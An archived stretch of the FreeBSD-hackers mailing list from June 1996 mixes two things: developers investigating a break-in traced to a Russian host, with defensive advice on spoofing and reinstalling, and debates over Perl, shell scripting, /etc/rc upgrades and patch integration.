nat.pu.ru (193.124.85.134) 579.649 ms 553.069 ms 569.455 ms 13 gw.pu.ru (193.124.85.219) 565.162 ms 566.153 ms 579.921 ms 14 * * * (localhost appeared here for Jordan) If "nat" means what I think it does (Network Address Translation; recently devised devices to translate IP addresses so private internal networks can reuse addresses in the public space), it's probably an artifact of being behind the NAT. -- Alan Batie ______ We're Starfleet officers: batie@agora.rdrop.com \ / Weird is part of the job. +1 503 452-0960 \ / --Captain Janeway DE 3C 29 17 C0 49 7A 27 \/ 40 A5 3C 37 4A DA 52 B9 It is my policy to avoid purchase of any products from companies which use unrequested email advertisements or telephone solicitation. From owner-freebsd-hackers Sun Jun 23 22:38:44 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id WAA25101 for hackers-outgoing; Sun, 23 Jun 1996 22:38:44 -0700 (PDT) Received: from bang.rain.com (bang.rain.com [204.119.8.73]) by freefall.freebsd.org (8.7.5/8.7.3) with SMTP id WAA25082; Sun, 23 Jun 1996 22:38:38 -0700 (PDT) Received: (from john@localhost) by bang.rain.com (8.6.12/8.6.9) id WAA23685; Sun, 23 Jun 1996 22:38:21 -0700 From: John Cavanaugh Message-Id: <199606240538.WAA23685@bang.rain.com> Subject: Re: I need help on this one - please help me track this guy down! To: jkh@time.cdrom.com (Jordan K. Hubbard) Date: Sun, 23 Jun 1996 22:38:20 -0700 (PDT) Cc: hasty@rah.star-gate.com, hackers@FreeBSD.org, security@FreeBSD.org, ache@FreeBSD.org In-Reply-To: <8378.835580425@time.cdrom.com> from "Jordan K. Hubbard" at Jun 23, 96 06:40:25 pm X-Mailer: ELM [version 2.4 PL24] Content-Type: text Sender: owner-hackers@FreeBSD.org X-Loop: FreeBSD.org Precedence: bulk > > Also since "you" were logged in , try to look in the logs for a > > a loggin session of a foreign host and I would report the incident to the > > FBI 8) > > All we have are the "last" logs, which show: > > jkh ttyp2 a235.pu.ru Sun Jun 23 16:50 - 17:18 (00:28) > jkh ttyp3 a235.pu.ru Sun Jun 23 15:00 - 15:34 (00:33) > > If someone at the russian site could help correlate this time (PST) to > the local time at wherever a235.ru.pu came in from, we could at least > narrow down which user(s) it might have been. > > Also, I think that calling the FBI on this one is only likely to get > me put on infinite hold when they hear that the perpetrator is in > Russia. :-) Maybe it's time to call Cliff Stoll. -- John Cavanaugh "There can be only one." From owner-freebsd-hackers Sun Jun 23 22:40:00 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id WAA25191 for hackers-outgoing; Sun, 23 Jun 1996 22:40:00 -0700 (PDT) Received: from phaeton.artisoft.com (phaeton.Artisoft.COM [198.17.250.211]) by freefall.freebsd.org (8.7.5/8.7.3) with SMTP id WAA25186 for ; Sun, 23 Jun 1996 22:39:57 -0700 (PDT) Received: (from terry@localhost) by phaeton.artisoft.com (8.6.11/8.6.9) id WAA27042; Sun, 23 Jun 1996 22:35:56 -0700 From: Terry Lambert Message-Id: <199606240535.WAA27042@phaeton.artisoft.com> Subject: Re: cvs commit: src/etc/mtree BSD.usr.dist To: phk@freebsd.org (Poul-Henning Kamp) Date: Sun, 23 Jun 1996 22:35:56 -0700 (MST) Cc: terry@lambert.org, alk@Think.COM, hackers@freefall.freebsd.org In-Reply-To: <5288.835493006@critter.tfs.com> from "Poul-Henning Kamp" at Jun 22, 96 06:23:26 pm X-Mailer: ELM [version 2.4 PL24] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk > Terry, > > (Nice bit of rethoric.) Thanks. > Terry, if you want to work with people instead of against them, then > you have to bend everynow and then. I am willing to bend occasionally, though not *every* now and then: I will bend *some* now and thens. > I have looked over every bit of code you have ever sent my way. I > will continue to do so. > > The one and most overwhelming reason I have not committed much of it yet > is that so far I have completely failed to apply the patches and getting > the resulting system to behave itself. This was a source tree synchronization issue resulting from failure of CVS to operate correctly. The first failure for the FS code was because you did not back your checked out tree to the indicated date. The second was because the patches were submitted as deltas against the first patches, on the assumption that this was not an "all or nothing" proposition -- a bad call on my part. Subsequent patches have applied cleanly, but not met your sperability criteria (ask Jeffrey Hsu, who was able to cleanly apply them on at least three occasions). In addition, the other patches I have submitted that *did* meet your seperability and documentation criteria (the fsck root inode count fix, the NFS server locking support patches, etc.) have *not* been integrated. I understand that integration of the Lite2 code takes priority (if also too much time), and these patches affect areas of the system which don't have much apparent patronage in the core team. This in no way detracts from the percieved difficulty of getting patches accepted. I am *not* the only person in this boat. It takes nearly Herculean effort to get some types of patches accepted; several groups have had to go so far as to offer their own boot disks and patch kits (most notably Hosokawa-san's PCCARD code). Even with Nate's patronage, there is still the need for building seperate-from-snap boot disks to address a number of issues, because the patches are not *truly* integrated. The PC98 integration *is* a hopeful sign, I'm sure, to many of us. I *am* willing to try to "work within the system" -- as I have been trying for the year and a half since leaving Novell... still, even if I must shoulder the majority of blame, if there needs to be an assignment of blame, I refuse to shoulder it all. > If you could submit patches of that quality and clarity, I'm sure you > would see a lot of your changes go back into FreeBSD. I'm sure I could also halve or quarter my production, providing rationale for things which are, to me at least, bloody obvious. I'm already willing to spend a large amount of time parceling up my work, but I have only so much time I'm willing to spend; please do not bankrupt me. Can we compromise? Can you define how small is palletable so that I can preinsure palletability before sending something, and if, when I send something, it is not sufficient self explanatory (with a minimum of accompanying text), tell me *that* so I can correct it? Regards, Terry Lambert terry@lambert.org --- Any opinions in this posting are my own and not those of my present or previous employers. From owner-freebsd-hackers Sun Jun 23 22:59:22 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id WAA25750 for hackers-outgoing; Sun, 23 Jun 1996 22:59:22 -0700 (PDT) Received: from time.cdrom.com (time.cdrom.com [204.216.27.226]) by freefall.freebsd.org (8.7.5/8.7.3) with ESMTP id WAA25741 for ; Sun, 23 Jun 1996 22:59:19 -0700 (PDT) Received: from time.cdrom.com (localhost [127.0.0.1]) by time.cdrom.com (8.7.5/8.6.9) with ESMTP id WAA10207; Sun, 23 Jun 1996 22:58:20 -0700 (PDT) To: Terry Lambert cc: phk@freebsd.org (Poul-Henning Kamp), alk@Think.COM, hackers@freefall.freebsd.org Subject: Re: cvs commit: src/etc/mtree BSD.usr.dist In-reply-to: Your message of "Sun, 23 Jun 1996 22:35:56 PDT." <199606240535.WAA27042@phaeton.artisoft.com> Date: Sun, 23 Jun 1996 22:58:20 -0700 Message-ID: <10204.835595900@time.cdrom.com> From: "Jordan K. Hubbard" Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk > I understand that integration of the Lite2 code takes priority (if > also too much time), and these patches affect areas of the system > which don't have much apparent patronage in the core team. Would you be willing to help Jeff Hsu test and finish integrating this? I think it would help both of our respective efforts and get you "on board" in a fairly non-contraversal way since it's 3rd party code you'd be integrating and few could point the finger and say that Terry was trying to remake the world in his image or something (not, erm, that they say that now of course :-). Jordan From owner-freebsd-hackers Sun Jun 23 23:18:00 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id XAA26959 for hackers-outgoing; Sun, 23 Jun 1996 23:18:00 -0700 (PDT) Received: from phaeton.artisoft.com (phaeton.Artisoft.COM [198.17.250.211]) by freefall.freebsd.org (8.7.5/8.7.3) with SMTP id XAA26953; Sun, 23 Jun 1996 23:17:57 -0700 (PDT) Received: (from terry@localhost) by phaeton.artisoft.com (8.6.11/8.6.9) id XAA27150; Sun, 23 Jun 1996 23:13:22 -0700 From: Terry Lambert Message-Id: <199606240613.XAA27150@phaeton.artisoft.com> Subject: Re: cvs commit: src/etc/mtree BSD.usr.dist To: msmith@atrad.adelaide.edu.au (Michael Smith) Date: Sun, 23 Jun 1996 23:13:22 -0700 (MST) Cc: terry@lambert.org, phk@FreeBSD.org, hackers@FreeBSD.org In-Reply-To: <199606230729.QAA16013@genesis.atrad.adelaide.edu.au> from "Michael Smith" at Jun 23, 96 04:59:32 pm X-Mailer: ELM [version 2.4 PL24] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-hackers@FreeBSD.org X-Loop: FreeBSD.org Precedence: bulk > > > need them or even wanted them to be available. > > > > Here's why I complain and scream about PERL in FreeBSD. > > > > FreeBSD, true to it's UNIX heritage, is a tools-based OS. > > > > PERL is a tool (fine so far). > > > > PERL scripts are not tools (the kicker). > > That's just stupid. Perl scripts _can_ be tools. Some may be, some > may not be, depending on your point of view. Well, not putting PERL in the base distribution would prevent the non-tool Perl scripts from becoming part of the base distribution. I'm open to other suggestions that achieve the same effect without throwing the baby out with the bath water... but I still think the bathwater needs to go. 8-). Terry Lambert terry@lambert.org --- Any opinions in this posting are my own and not those of my present or previous employers. From owner-freebsd-hackers Sun Jun 23 23:25:35 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id XAA27266 for hackers-outgoing; Sun, 23 Jun 1996 23:25:35 -0700 (PDT) Received: from genesis.atrad.adelaide.edu.au (genesis.atrad.adelaide.edu.au [129.127.96.120]) by freefall.freebsd.org (8.7.5/8.7.3) with ESMTP id XAA27261; Sun, 23 Jun 1996 23:25:32 -0700 (PDT) Received: from msmith@localhost by genesis.atrad.adelaide.edu.au (8.6.12/8.6.9) id QAA20771; Mon, 24 Jun 1996 16:29:00 +0930 From: Michael Smith Message-Id: <199606240659.QAA20771@genesis.atrad.adelaide.edu.au> Subject: Re: cvs commit: src/etc/mtree BSD.usr.dist To: terry@lambert.org (Terry Lambert) Date: Mon, 24 Jun 1996 16:28:59 +0930 (CST) Cc: msmith@atrad.adelaide.edu.au, terry@lambert.org, phk@FreeBSD.org, hackers@FreeBSD.org In-Reply-To: <199606240613.XAA27150@phaeton.artisoft.com> from "Terry Lambert" at Jun 23, 96 11:13:22 pm MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-hackers@FreeBSD.org X-Loop: FreeBSD.org Precedence: bulk Terry Lambert stands accused of saying: > > Well, not putting PERL in the base distribution would prevent > the non-tool Perl scripts from becoming part of the base > distribution. > > I'm open to other suggestions that achieve the same effect without > throwing the baby out with the bath water... but I still think > the bathwater needs to go. 8-). Sure. Keep preaching. You may attract followers, and the bathwater will make your feet soggy. 8) Note though that a script with embedded values is the ultimate in 'data driven' programming, so watch the shades of grey 8) > Terry Lambert -- ]] Mike Smith, Software Engineer msmith@atrad.adelaide.edu.au [[ ]] Genesis Software genesis@atrad.adelaide.edu.au [[ ]] High-speed data acquisition and (GSM mobile) 0411-222-496 [[ ]] realtime instrument control (ph/fax) +61-8-267-3039 [[ ]] Collector of old Unix hardware. "Where are your PEZ?" The Tick [[ From owner-freebsd-hackers Sun Jun 23 23:25:57 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id XAA27329 for hackers-outgoing; Sun, 23 Jun 1996 23:25:57 -0700 (PDT) Received: from gvr.win.tue.nl (root@gvr.win.tue.nl [131.155.210.19]) by freefall.freebsd.org (8.7.5/8.7.3) with SMTP id XAA27291; Sun, 23 Jun 1996 23:25:45 -0700 (PDT) Received: by gvr.win.tue.nl (8.6.12/1.53) id IAA11793; Mon, 24 Jun 1996 08:25:33 +0200 From: guido@gvr.win.tue.nl (Guido van Rooij) Message-Id: <199606240625.IAA11793@gvr.win.tue.nl> Subject: Re: I need help on this one - please help me track this guy down! To: jkh@time.cdrom.com (Jordan K. Hubbard) Date: Mon, 24 Jun 1996 08:25:32 +0200 (MET DST) Cc: hackers@freebsd.org, security@freebsd.org, ache@freebsd.org In-Reply-To: <7979.835575935@time.cdrom.com> from "Jordan K. Hubbard" at "Jun 23, 96 05:25:35 pm" X-Mailer: ELM [version 2.4ME+ PL17 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk > A traceroute from wcarchive doesn't show me much, but if anybody can > gleen some userful information out of it I'd appreciate it. > > Thanks! > > 5 Helsinki2.FI.EU.net (134.222.228.45) 555.687 ms 518.720 ms 507.602 ms > 6 StPetersburg.RU.EU.net (134.222.23.2) 549.172 ms 592.407 ms 630.928 ms > 7 spb-2-gw.spb.su (193.124.83.66) 547.190 ms 573.518 ms 569.656 ms > 8 hqlgu-LE.pu.ru (193.124.255.134) 519.318 ms 657.805 ms 651.496 ms > 9 slip-0.pu.ru (193.124.85.1) 840.489 ms 671.729 ms 650.750 ms > 10 nat.pu.ru (193.124.85.134) 638.649 ms 653.720 ms 720.170 ms > 11 gw.pu.ru (193.124.85.219) 752.144 ms 645.046 ms 641.413 ms > 12 localhost (127.0.0.1) 670.113 ms 702.233 ms 695.733 ms > ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ Do you have anti-spoof filter rules in your backbone router? If not install them. If so, please add packets coming in from localhost to them. I don't know why he got in, but you can suspect rlogin plus a localhost entry in host.equiv combined with source routed packets. In general it is a bad idea to trust localhost, as this is a reletaive ip address. Unless of course you either block packets coming from localhost or block source routed packets. -Guido From owner-freebsd-hackers Sun Jun 23 23:27:08 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id XAA27482 for hackers-outgoing; Sun, 23 Jun 1996 23:27:08 -0700 (PDT) Received: from phaeton.artisoft.com (phaeton.Artisoft.COM [198.17.250.211]) by freefall.freebsd.org (8.7.5/8.7.3) with SMTP id XAA27472 for ; Sun, 23 Jun 1996 23:27:06 -0700 (PDT) Received: (from terry@localhost) by phaeton.artisoft.com (8.6.11/8.6.9) id XAA27174; Sun, 23 Jun 1996 23:22:50 -0700 From: Terry Lambert Message-Id: <199606240622.XAA27174@phaeton.artisoft.com> Subject: Re: cvs commit: src/etc/mtree BSD.usr.dist To: mrm@MARMOT.Mole.ORG (M.R.Murphy) Date: Sun, 23 Jun 1996 23:22:50 -0700 (MST) Cc: alk@Think.COM, terry@lambert.org, hackers@freefall.freebsd.org, phk@FreeBSD.org In-Reply-To: <199606231559.IAA06629@meerkat.mole.org> from "M.R.Murphy" at Jun 23, 96 08:59:09 am X-Mailer: ELM [version 2.4 PL24] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-hackers@FreeBSD.org X-Loop: FreeBSD.org Precedence: bulk > > I'd go further; /bin/sh is evil, as are any other scripting systems > > where it's possible to have the data embedded in the script instead > > of operated on by a tool. The only reason I don't call for its > > removal is that the installation and the system startup (incorrectly) > > depend on it, and /bin/csh is more evil. As the default system shell, > > it has to be there, but that makes it no less annoying. Look at > > the /etc/rc* mess that /bin/sh has gotten us into because it was > > more convenient than Doing Things The Right Way. 8-(. > > Not using scripting languages makes the system behave exactly as the > developers intended and makes it more difficult for consumers to modify > the system to meet their own needs. If that's the goal, go for it. Actually, making it easy to change the intent is the goal... both for the developers, AND for the end users. I'm not suggesting duct taping over the switches that we don't want user flipping, I'm suggesting that the switch panel should be seperated from that machine it is controlling. (Now that we are firmly in downtown analogyville 8-)). > System startup does not incorrectly depend upon a scripted shell. It > is _designed_ to used a scripted shell. It's not just an accident > or matter of expediency. That it is /bin/sh is immaterial. I'll agree > that /bin/csh is inappropriate, but a working /bin/sh or Plan 9 rc > is just fine. It's the one place you can justify it. It's harder to justify with an rc.local file if both the developer and the end user is allowed to change the file contents. If the developer, you want to stomp on it when you upgrade. If the end user, you want to leave it alone (and thus prevent further changes by the developer). There needs to be some kind of implied locking. The easiest method would be to go to rc.d style seperated startup, to let you drop in and out tasks for startup from a defined startup order. Barring that, the next easiest would be to seperate the data that the rc file uses to determine its behaviour from the rc file (and /etc/sysconfig is born). The problem is that users can go in and modify this thing to localize behaviour or to add local behaviour (which they have to do to replace system components based on function, because we don't do the rc.d thing). Then when you go to upgrade, the upgrade complexity increases into unmanageability. Can we agree with the statement: o Be it resolved that future work will be done on FreeBSD, such that upgrades are designated as expected events, and thus we should not engage in behaviours which screw the ability to upgrade. ? > Implementation of policy for seldom invoked activity > in editable script is a Fine Thing Indeed. > > > Is /etc/rc kludged a wee tad? Sure. If I feel like replacing it with > a System V like init.d driven startup, that's my choice. So is installing > a System V like init and inittab. > > "Doing Things The Right Way" is, of course, a matter of perspective. 8-). Or one of not substituting activity for action? Terry Lambert terry@lambert.org --- Any opinions in this posting are my own and not those of my present or previous employers. From owner-freebsd-hackers Sun Jun 23 23:29:46 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id XAA27655 for hackers-outgoing; Sun, 23 Jun 1996 23:29:46 -0700 (PDT) Received: from time.cdrom.com (time.cdrom.com [204.216.27.226]) by freefall.freebsd.org (8.7.5/8.7.3) with ESMTP id XAA27622; Sun, 23 Jun 1996 23:29:38 -0700 (PDT) Received: from time.cdrom.com (localhost [127.0.0.1]) by time.cdrom.com (8.7.5/8.6.9) with ESMTP id XAA10328; Sun, 23 Jun 1996 23:29:31 -0700 (PDT) To: guido@gvr.win.tue.nl (Guido van Rooij) cc: hackers@freebsd.org, security@freebsd.org, ache@freebsd.org Subject: Re: I need help on this one - please help me track this guy down! In-reply-to: Your message of "Mon, 24 Jun 1996 08:25:32 +0200." <199606240625.IAA11793@gvr.win.tue.nl> Date: Sun, 23 Jun 1996 23:29:30 -0700 Message-ID: <10326.835597770@time.cdrom.com> From: "Jordan K. Hubbard" Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk > Do you have anti-spoof filter rules in your backbone router? If not > install them. If so, please add packets coming in from localhost How do you install such things on a cisco 2500? :-) Seriously, if there's a way then I can get someone from cisco to help me out, but I first need to know that it's even a reasonable request. > to them. I don't know why he got in, but you can suspect rlogin plus > a localhost entry in host.equiv combined with source routed packets. Hmmm. We have reason to believe that he *didn't* get root (though we're still assuming he did, just to be paranoid) and if the mod times can be trusted, hosts.equiv hasn't been touched in many months (and localhost is commented out). Jordan From owner-freebsd-hackers Sun Jun 23 23:33:59 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id XAA27909 for hackers-outgoing; Sun, 23 Jun 1996 23:33:59 -0700 (PDT) Received: from phaeton.artisoft.com (phaeton.Artisoft.COM [198.17.250.211]) by freefall.freebsd.org (8.7.5/8.7.3) with SMTP id XAA27900 for ; Sun, 23 Jun 1996 23:33:55 -0700 (PDT) Received: (from terry@localhost) by phaeton.artisoft.com (8.6.11/8.6.9) id XAA27197; Sun, 23 Jun 1996 23:29:48 -0700 From: Terry Lambert Message-Id: <199606240629.XAA27197@phaeton.artisoft.com> Subject: Re: cvs commit: src/etc/mtree BSD.usr.dist To: mrm@MARMOT.Mole.ORG (M.R.Murphy) Date: Sun, 23 Jun 1996 23:29:48 -0700 (MST) Cc: terry@lambert.org, hackers@freebsd.org In-Reply-To: <199606231619.JAA06661@meerkat.mole.org> from "M.R.Murphy" at Jun 23, 96 09:19:00 am X-Mailer: ELM [version 2.4 PL24] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk > > The problem I have with scripting will continue to be a problem until > > the /etc/rc* data embedding mess goes away so I can upgrade a system > > by overwriting everything but "/var/conf", or a similar directory, > > and by leaving the /home partition alone, with nothing else sacred. > > Your problem with scripting may not be _MY_ problem with scripting. > That's why scripting is a good thing. ;-) 8-P. > It lets each of us tailor the behavior of a system as may be required > for our own use without having it be a major hassle. Minor hassle to > be sure, but not major, mostly. One tailored, upgrade becomes a hassle because of the interface provided for tailoring, and the non-existant guidelines for doing it in a non-impactful way. > I don't have a /home partition. Other folks do it a different way. > Some people like tomatoes. Actually, only aliens like tomatos; that's how you recognize them. 8-) 8-). Really, that you don't put your users in /home is irrelevant. What is relevant is that you put them some place other than a directory that gets upgraded directly as part of the process (and which, in an SCO or other commercial system would be recognizable from its lack of mention in the component/file mapping list that was created when the system was installed). > It would be presumptuous of me to dictate to them how they should > configure their systems. Unless it was your job to provide the upgrade software. Which it is. 8-). > For me to suggest that a cleanup of /etc/rc* would be a bad thing > would be pretty silly on my part. I get to clean it up each time > I put in a production system. I get to clean up permissions and > ownership each time, too, and strip out cruft and insert what I > deem to be of hrrrumph critical importance. For the systems that > I'm just dinking with what the FreeBSD team have put together, I'm > either happy or resigned to leaving it the way they wanted, depending > on my mood. They've done a really good job, especially considering the > loosely-coupled development environment. It's damned amazing! I agree. Could be even more amazing, too. > However, I'd consider anything that makes it very much harder for me > to make it the way I want it to be to be pretty much ill-conceived. Me too; that includes me wanting to make my system run the latest and bgreatest code and still be upgradable when a release is cut. Terry Lambert terry@lambert.org --- Any opinions in this posting are my own and not those of my present or previous employers. From owner-freebsd-hackers Sun Jun 23 23:35:06 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id XAA27990 for hackers-outgoing; Sun, 23 Jun 1996 23:35:06 -0700 (PDT) Received: from time.cdrom.com (time.cdrom.com [204.216.27.226]) by freefall.freebsd.org (8.7.5/8.7.3) with ESMTP id XAA27973; Sun, 23 Jun 1996 23:35:01 -0700 (PDT) Received: from time.cdrom.com (localhost [127.0.0.1]) by time.cdrom.com (8.7.5/8.6.9) with ESMTP id XAA10348; Sun, 23 Jun 1996 23:34:53 -0700 (PDT) To: guido@gvr.win.tue.nl (Guido van Rooij) cc: hackers@freebsd.org, security@freebsd.org, ache@freebsd.org Subject: Re: I need help on this one - please help me track this guy down! In-reply-to: Your message of "Mon, 24 Jun 1996 08:25:32 +0200." <199606240625.IAA11793@gvr.win.tue.nl> Date: Sun, 23 Jun 1996 23:34:53 -0700 Message-ID: <10346.835598093@time.cdrom.com> From: "Jordan K. Hubbard" Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk > ip address. Unless of course you either block packets coming from localhost > or block source routed packets. Oh yeah, also, David says both we and CRL (the ISP) block source routed packets. Jordan From owner-freebsd-hackers Sun Jun 23 23:37:32 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id XAA28173 for hackers-outgoing; Sun, 23 Jun 1996 23:37:32 -0700 (PDT) Received: from phaeton.artisoft.com (phaeton.Artisoft.COM [198.17.250.211]) by freefall.freebsd.org (8.7.5/8.7.3) with SMTP id XAA28168 for ; Sun, 23 Jun 1996 23:37:29 -0700 (PDT) Received: (from terry@localhost) by phaeton.artisoft.com (8.6.11/8.6.9) id XAA27224; Sun, 23 Jun 1996 23:32:55 -0700 From: Terry Lambert Message-Id: <199606240632.XAA27224@phaeton.artisoft.com> Subject: Re: cvs commit: src/etc/mtree BSD.usr.dist To: jkh@time.cdrom.com (Jordan K. Hubbard) Date: Sun, 23 Jun 1996 23:32:55 -0700 (MST) Cc: terry@lambert.org, phk@freebsd.org, alk@Think.COM, hackers@freefall.freebsd.org In-Reply-To: <10204.835595900@time.cdrom.com> from "Jordan K. Hubbard" at Jun 23, 96 10:58:20 pm X-Mailer: ELM [version 2.4 PL24] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk > > I understand that integration of the Lite2 code takes priority (if > > also too much time), and these patches affect areas of the system > > which don't have much apparent patronage in the core team. > > Would you be willing to help Jeff Hsu test and finish integrating > this? I think it would help both of our respective efforts and get > you "on board" in a fairly non-contraversal way since it's 3rd party > code you'd be integrating and few could point the finger and say that > Terry was trying to remake the world in his image or something (not, > erm, that they say that now of course :-). I have his most recent patch set, and am in the process of looking for the problems he has noted. I have a problem in that sup2 is still dead, and the patches do not apply cleanly to the last available revision from the last time it was up. Terry Lambert terry@lambert.org --- Any opinions in this posting are my own and not those of my present or previous employers. From owner-freebsd-hackers Sun Jun 23 23:56:26 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id XAA28801 for hackers-outgoing; Sun, 23 Jun 1996 23:56:26 -0700 (PDT) Received: from phaeton.artisoft.com (phaeton.Artisoft.COM [198.17.250.211]) by freefall.freebsd.org (8.7.5/8.7.3) with SMTP id XAA28779; Sun, 23 Jun 1996 23:56:19 -0700 (PDT) Received: (from terry@localhost) by phaeton.artisoft.com (8.6.11/8.6.9) id XAA27306; Sun, 23 Jun 1996 23:51:37 -0700 From: Terry Lambert Message-Id: <199606240651.XAA27306@phaeton.artisoft.com> Subject: Re: I need help on this one - please help me track this guy down! To: jkh@time.cdrom.com (Jordan K. Hubbard) Date: Sun, 23 Jun 1996 23:51:37 -0700 (MST) Cc: guido@gvr.win.tue.nl, hackers@freebsd.org, security@freebsd.org, ache@freebsd.org In-Reply-To: <10326.835597770@time.cdrom.com> from "Jordan K. Hubbard" at Jun 23, 96 11:29:30 pm X-Mailer: ELM [version 2.4 PL24] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk > Hmmm. We have reason to believe that he *didn't* get root (though > we're still assuming he did, just to be paranoid) and if the mod times > can be trusted, hosts.equiv hasn't been touched in many months (and > localhost is commented out). 1) Do not believe this. Assume he got root. 2) Assume your password changes are mailed out as cleartext by your passwd program. 3) Assumed md5 and checksum have been hacked to lie about themselves and any other files affected. 4) Assume system time stamps were changed. 5) Assume all log files were edited. 6) Best approach: reinstall the system (from distribution, not backup --- no telling how long he was there). 7) Turn off the stupid "password must meet these criteria" on the password change. All it does is reduce the search space a hacker needs to apply. 8) Put spoofing filters on your firewall; basically, look for the response bit. 9) Make sure you aren't running routed -q. 10) Turn of source routing on your gateway, if it's on. If you need help getting the FBI involved, tell them you had "munitions" on the machine. ;-). Terry Lambert terry@lambert.org --- Any opinions in this posting are my own and not those of my present or previous employers. From owner-freebsd-hackers Sun Jun 23 23:57:46 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id XAA28876 for hackers-outgoing; Sun, 23 Jun 1996 23:57:46 -0700 (PDT) Received: from time.cdrom.com (time.cdrom.com [204.216.27.226]) by freefall.freebsd.org (8.7.5/8.7.3) with ESMTP id XAA28871 for ; Sun, 23 Jun 1996 23:57:44 -0700 (PDT) Received: from time.cdrom.com (localhost [127.0.0.1]) by time.cdrom.com (8.7.5/8.6.9) with ESMTP id XAA10501; Sun, 23 Jun 1996 23:56:49 -0700 (PDT) To: Terry Lambert cc: phk@freebsd.org, alk@Think.COM, hackers@freefall.freebsd.org Subject: Re: cvs commit: src/etc/mtree BSD.usr.dist In-reply-to: Your message of "Sun, 23 Jun 1996 23:32:55 PDT." <199606240632.XAA27224@phaeton.artisoft.com> Date: Sun, 23 Jun 1996 23:56:49 -0700 Message-ID: <10499.835599409@time.cdrom.com> From: "Jordan K. Hubbard" Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk > I have a problem in that sup2 is still dead, and the patches do not > apply cleanly to the last available revision from the last time it > was up. You (and everyone else) are free to use sup.freebsd.org until sup2 comes back. Jordan From owner-freebsd-hackers Mon Jun 24 00:14:02 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id AAA29908 for hackers-outgoing; Mon, 24 Jun 1996 00:14:02 -0700 (PDT) Received: from phaeton.artisoft.com (phaeton.Artisoft.COM [198.17.250.211]) by freefall.freebsd.org (8.7.5/8.7.3) with SMTP id AAA29897 for ; Mon, 24 Jun 1996 00:14:00 -0700 (PDT) Received: (from terry@localhost) by phaeton.artisoft.com (8.6.11/8.6.9) id AAA27408; Mon, 24 Jun 1996 00:09:20 -0700 From: Terry Lambert Message-Id: <199606240709.AAA27408@phaeton.artisoft.com> Subject: Re: cvs commit: src/etc/mtree BSD.usr.dist To: jkh@time.cdrom.com (Jordan K. Hubbard) Date: Mon, 24 Jun 1996 00:09:20 -0700 (MST) Cc: terry@lambert.org, phk@freebsd.org, alk@Think.COM, hackers@freefall.freebsd.org In-Reply-To: <10499.835599409@time.cdrom.com> from "Jordan K. Hubbard" at Jun 23, 96 11:56:49 pm X-Mailer: ELM [version 2.4 PL24] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk > > I have a problem in that sup2 is still dead, and the patches do not > > apply cleanly to the last available revision from the last time it > > was up. > > You (and everyone else) are free to use sup.freebsd.org until sup2 comes > back. Thank you. I am grabbing it now. Terry Lambert terry@lambert.org --- Any opinions in this posting are my own and not those of my present or previous employers. From owner-freebsd-hackers Mon Jun 24 00:36:38 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id AAA01287 for hackers-outgoing; Mon, 24 Jun 1996 00:36:38 -0700 (PDT) Received: from einstein.technet.sg (ngps@einstein.technet.sg [192.169.33.50]) by freefall.freebsd.org (8.7.5/8.7.3) with ESMTP id AAA01282; Mon, 24 Jun 1996 00:36:29 -0700 (PDT) Received: (from ngps@localhost) by einstein.technet.sg (8.7.3/8.6.9) id PAA17929; Mon, 24 Jun 1996 15:35:02 +0800 (SST) Date: Mon, 24 Jun 1996 15:35:01 +0800 (SST) From: Ng Pheng Siong To: Terry Lambert cc: "Jordan K. Hubbard" , guido@gvr.win.tue.nl, hackers@FreeBSD.ORG, security@FreeBSD.ORG, ache@FreeBSD.ORG Subject: Re: I need help on this one - please help me track this guy down! 